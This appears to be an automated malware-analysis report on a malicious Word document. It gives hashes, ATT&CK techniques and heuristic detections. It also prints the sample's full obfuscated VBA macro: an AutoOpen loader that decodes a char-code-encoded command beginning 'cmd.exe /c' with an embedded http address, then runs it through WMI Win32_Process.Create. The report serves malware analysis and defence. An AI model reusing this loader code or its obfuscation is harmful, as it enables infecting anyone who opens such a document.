Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 5d835b5ace22d3f7…

MALICIOUS

Office (OLE) / .DOC

49.0 KB Created: 2026-06-07 14:27:00 Authoring application: Microsoft Office Word First seen: 2026-06-12
MD5: 931f392aa09d91dfdde1e04f860ed891 SHA-1: ed5a324b5de9872a6eb24ddde8ea58dfdc99ee20 SHA-256: 5d835b5ace22d3f749989d5da991111b64a9ee4dc26ec8bb693a03354f52bc7e
252 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols

This document contains obfuscated VBA macros designed to execute malicious code. The AutoOpen macro triggers a loader function that decodes a string, likely containing commands or a URL for a second-stage payload. The critical heuristic 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' and the presence of GetObject, CreateObject, Shell, and Exec calls strongly indicate a downloader or dropper functionality.

Heuristics 9

  • ClamAV: Doc.Malware.Valyria-10010644-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10010644-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    GetObject(i6b2aeggu_oe1dy96elgboj).Get(uwwf37se38xvmqybfzq).Create dj8_zz92zm1755pge98vf4, Null, Null, hpf4edx0vt7zieys3b4cvr841g
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    GetObject(i6b2aeggu_oe1dy96elgboj).Get(uwwf37se38xvmqybfzq).Create dj8_zz92zm1755pge98vf4, Null, Null, hpf4edx0vt7zieys3b4cvr841g
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2947 bytes
SHA-256: c2b46b608d78648a402f3749802e6529c69c5a1cc5c111c2ddcc73f8b3f35dec
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Function grupwxzw1s3s950yujphaz(Beets)
grupwxzw1s3s950yujphaz = Chr(Beets - 17)
End Function
Function ply3g34ln0yyskbw0vxy(Grapes)
ply3g34ln0yyskbw0vxy = Left(Grapes, 3)
End Function
Function c4u4_nx6b5qnpf2oek27_(Jelly)
c4u4_nx6b5qnpf2oek27_ = Right(Jelly, Len(Jelly) - 3)
End Function
Function ef2bnopctuzdfd2czhx6vu3ih(Milk)
Do
Oatmilk = Oatmilk + grupwxzw1s3s950yujphaz(ply3g34ln0yyskbw0vxy(Milk))
Milk = c4u4_nx6b5qnpf2oek27_(Milk)
Loop While Len(Milk) > 0
ef2bnopctuzdfd2czhx6vu3ih = Oatmilk
End Function
Sub AutoOpen()
rmoqh5lh9c40834_w4amsjyitv
End Sub
Sub rmoqh5lh9c40834_w4amsjyitv()
Dim t5mu35rw4l_1spemv As String
Dim dj8_zz92zm1755pge98vf4 As String
t5mu35rw4l_1spemv = "116126117063118137118049064116049051117118125049064119049064130049084075109104122127117128136132109101114132124132109118127116" & _
"063133137133049067079127134125049055049117118125049064119049064130049084075109104122127117128136132109101114132124132109114063" & _
"118137118049067079127134125049055049115122133132114117126122127049064101131114127132119118131049133121118091128115049121133133" & _
"129075064064066074067063066071073063069070063067066070064097100099134127132129114116118062090127135128124118099134127062116118" & _
"131133134133122125084128117118117063133137133049084075109104122127117128136132109101114132124132109118127116063133137133049055" & _
"049116118131133134133122125049062117118116128117118049084075109104122127117128136132109101114132124132109118127116063133137133" & _
"049084075109104122127117128136132109101114132124132109114063118137118049055049084075109104122127117128136132109094122116131128" & _
"132128119133063095086101109087131114126118136128131124071069109135069063065063068065068066074109122127132133114125125134133122" & _
"125063118137118049064125128120119122125118078049064093128120101128084128127132128125118078119114125132118049064102049084075109" & _
"104122127117128136132109101114132124132109114063118137118051"
dj8_zz92zm1755pge98vf4 = ef2bnopctuzdfd2czhx6vu3ih(t5mu35rw4l_1spemv)
On Error Resume Next
If ActiveDocument.Name <> ef2bnopctuzdfd2czhx6vu3ih("121118125125128063117128116") Then
Exit Sub
End If
On Error GoTo 0
Dim i6b2aeggu_oe1dy96elgboj As String
Dim uwwf37se38xvmqybfzq As String
Dim hpf4edx0vt7zieys3b4cvr841g As Variant
i6b2aeggu_oe1dy96elgboj = ef2bnopctuzdfd2czhx6vu3ih("136122127126120126133132075")
uwwf37se38xvmqybfzq = ef2bnopctuzdfd2czhx6vu3ih("104122127068067112097131128116118132132")
GetObject(i6b2aeggu_oe1dy96elgboj).Get(uwwf37se38xvmqybfzq).Create dj8_zz92zm1755pge98vf4, Null, Null, hpf4edx0vt7zieys3b4cvr841g
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.